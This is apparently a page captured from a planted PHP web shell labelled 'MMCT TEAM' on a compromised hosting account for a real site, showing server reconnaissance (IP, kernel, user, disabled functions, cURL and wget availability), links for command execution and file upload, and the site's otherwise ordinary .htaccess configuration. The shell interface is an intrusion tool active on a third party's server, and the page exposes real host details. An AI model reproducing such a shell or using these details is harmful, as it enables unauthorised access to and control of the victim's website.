MMCT TEAM
Server IP : 86.38.243.181  /  Your IP : 216.73.216.86
Web Server : LiteSpeed
System : Linux in-mum-web1336.main-hosting.eu 4.18.0-553.34.1.lve.el8.x86_64 #1 SMP Thu Jan 9 16:30:32 UTC 2025 x86_64
User : u986601745 ( 986601745)
PHP Version : 7.4.33
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0755) :  /home/u986601745/domains/emrskalsi.com/public_html/admin/tenderfiles/../

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/u986601745/domains/emrskalsi.com/public_html/admin/tenderfiles/../.htaccess
<IfModule mod_rewrite.c>
    RewriteEngine On
    RewriteBase /

    # --- Optional: rewrite /dashboard → /index.php ---
    RewriteRule ^dashboard$ index.php [L]

    # --- Serve existing files/folders directly ---
    RewriteCond %{REQUEST_FILENAME} -f [OR]
    RewriteCond %{REQUEST_FILENAME} -d
    RewriteRule ^ - [L]

    # --- If URI + .php exists, serve it (clean URLs) ---
    RewriteCond %{REQUEST_FILENAME}.php -f
    RewriteRule ^([^/]+)$ $1.php [L]

    # --- Fallback: route everything else to index.php ---
    RewriteRule . /index.php [L]
</IfModule>


# --- Security headers ---
<IfModule mod_headers.c>
    Header unset X-Powered-By
</IfModule>
ServerSignature Off
Options -Indexes

# --- Protect critical files ---
<FilesMatch "(\.htaccess|\.env|\.git|config\.php|database\.php|secret\.php|composer\.(json|lock)|package\.json|webpack.*|yarn.*|phpunit\.xml)$">
    Require all denied
</FilesMatch>

# --- Block hidden dotfiles ---
<Files ~ "^\.">
    Require all denied
</Files>

# --- Protect index.php from direct write via URL ---
<Files "index.php">
    Require all granted
</Files>

MMCT - 2023